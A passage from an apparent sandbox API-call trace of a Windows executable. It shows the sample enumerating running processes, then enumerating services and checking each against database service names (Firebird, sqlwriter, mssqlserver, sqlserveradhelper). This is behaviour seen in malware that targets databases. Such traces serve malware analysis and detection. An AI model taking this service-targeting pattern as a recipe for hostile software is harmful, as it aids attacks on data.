lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0081.474] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0081.474] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0081.475] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0081.475] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0081.476] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0081.476] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0081.477] lstrlenW (lpString="bd guidance.exe") returned 15 [0081.477] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.477] lstrlenW (lpString="conhost.exe") returned 11 [0081.477] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.478] lstrlenW (lpString="conhost.exe") returned 11 [0081.478] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0081.479] lstrlenW (lpString="lang hl gis.exe") returned 15 [0081.479] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0081.479] lstrlenW (lpString="dllhost.exe") returned 11 [0081.479] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.480] lstrlenW (lpString="svchost.exe") returned 11 [0081.480] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0081.481] lstrlenW (lpString="dllhost.exe") returned 11 [0081.481] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0081.481] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0081.481] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0081.483] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0081.483] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.483] lstrlenW (lpString="conhost.exe") returned 11 [0081.483] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.484] lstrlenW (lpString="svchost.exe") returned 11 [0081.484] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0081.485] lstrlenW (lpString="cmd.exe") returned 7 [0081.485] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.485] lstrlenW (lpString="conhost.exe") returned 11 [0081.485] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0081.486] CloseHandle (hObject=0x2f4) returned 1 [0081.486] Sleep (dwMilliseconds=0x1f4) [0082.357] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f320 [0082.358] EnumServicesStatusExW (in: hSCManager=0x47f320, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0082.359] GetLastError () returned 0xea [0082.359] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x4c0dc0 [0082.359] EnumServicesStatusExW (in: hSCManager=0x47f320, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4c0dc0, cbBufSize=0x1d5a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4c0dc0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0082.361] CloseServiceHandle (hSCObject=0x47f320) returned 1 [0082.361] lstrlenW (lpString="Appinfo") returned 7 [0082.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0082.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0082.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0082.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0082.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0082.361] lstrlenW (lpString="AppXSvc") returned 7 [0082.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0082.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0082.361] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0082.361] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0082.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0082.361] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0082.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0082.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0082.361] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0082.361] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0082.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0082.361] lstrlenW (lpString="Audiosrv") returned 8 [0082.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0082.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0082.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0082.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0082.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0082.362] lstrlenW (lpString="BFE") returned 3 [0082.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0082.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0082.362] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0082.362] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0082.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0082.362] lstrlenW (lpString="BITS") returned 4 [0082.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0082.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0082.362] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0082.362] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0082.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0082.362] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0082.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0082.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0082.362] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0082.362] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0082.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0082.362] lstrlenW (lpString="CDPSvc") returned 6 [0082.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0082.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0082.362] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0082.362] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0082.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0082.362] lstrlenW (lpString="ClickToRunSvc") returned 13 [0082.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0082.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0082.362] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0082.362] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0082.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0082.362] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0082.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0082.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0082.363] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0082.363] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0082.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0082.363] lstrlenW (lpString="CryptSvc") returned 8 [0082.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0082.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0082.363] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0082.363] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0082.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0082.363] lstrlenW (lpString="DcomLaunch") returned 10 [0082.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0082.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0082.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0082.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0082.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0082.363] lstrlenW (lpString="DeviceAssociationService") returned 24 [0082.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0082.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0082.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0082.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0082.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0082.363] lstrlenW (lpString="Dhcp") returned 4 [0082.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0082.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0082.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0082.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0082.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0082.363] lstrlenW (lpString="Dnscache") returned 8 [0082.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0082.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0082.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0082.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0082.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0082.364] lstrlenW (lpString="DoSvc") returned 5 [0082.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0082.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0082.364] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0082.364] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0082.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0082.364] lstrlenW (lpString="DPS") returned 3 [0082.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0082.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0082.364] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0082.364] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0082.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0082.364] lstrlenW (lpString="DusmSvc") returned 7 [0082.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0082.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0082.364] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0082.364] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0082.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0082.364] lstrlenW (lpString="EventLog") returned 8 [0082.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0082.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0082.364] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0082.364] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0082.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0082.364] lstrlenW (lpString="EventSystem") returned 11 [0082.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0082.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0082.365] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0082.365] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0082.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0082.365] lstrlenW (lpString="FontCache") returned 9 [0082.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0082.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0082.365] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0082.365] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0082.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0082.365] lstrlenW (lpString="gpsvc") returned 5 [0082.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0082.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0082.365] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0082.365] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0082.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0082.365] lstrlenW (lpString="iphlpsvc") returned 8 [0082.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0082.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0082.365] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0082.365] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0082.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0082.365] lstrlenW (lpString="KeyIso") returned 6 [0082.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0082.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0082.365] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0082.365] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0082.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0082.365] lstrlenW (lpString="LanmanServer") returned 12 [0082.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0082.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0082.365] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0082.366] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0082.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0082.366] lstrlenW (lpString="LanmanWorkstation") returned 17 [0082.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0082.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0082.366] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0082.366] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0082.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0082.366] lstrlenW (lpString="lfsvc") returned 5 [0082.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0082.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0082.366] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0082.366] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0082.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0082.366] lstrlenW (lpString="lmhosts") returned 7 [0082.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0082.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0082.366] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0082.366] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0082.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0082.366] lstrlenW (lpString="LSM") returned 3 [0082.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0082.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0082.366] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0082.366] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0082.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0082.366] lstrlenW (lpString="MapsBroker") returned 10 [0082.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0082.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0082.367] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0082.367] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0082.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0082.367] lstrlenW (lpString="MpsSvc") returned 6 [0082.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0082.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0082.367] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0082.367] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0082.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0082.367] lstrlenW (lpString="NcbService") returned 10 [0082.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0082.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0082.367] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0082.367] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0082.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0082.367] lstrlenW (lpString="netprofm") returned 8 [0082.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0082.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0082.367] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0082.367] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0082.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0082.367] lstrlenW (lpString="NlaSvc") returned 6 [0082.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0082.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0082.367] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0082.368] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0082.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0082.368] lstrlenW (lpString="nsi") returned 3 [0082.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0082.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0082.368] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0082.368] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0082.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0082.368] lstrlenW (lpString="PcaSvc") returned 6 [0082.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0082.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0082.368] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0082.368] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0082.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0082.368] lstrlenW (lpString="PlugPlay") returned 8 [0082.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0082.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0082.368] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0082.368] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0082.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0082.368] lstrlenW (lpString="Power") returned 5 [0082.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0082.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0082.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0082.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0082.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0082.368] lstrlenW (lpString="ProfSvc") returned 7 [0082.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0082.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0082.368] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0082.369] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0082.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0082.369] lstrlenW (lpString="RpcEptMapper") returned 12 [0082.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0082.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0082.369] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0082.369] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0082.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0082.369] lstrlenW (lpString="RpcSs") returned 5 [0082.369] 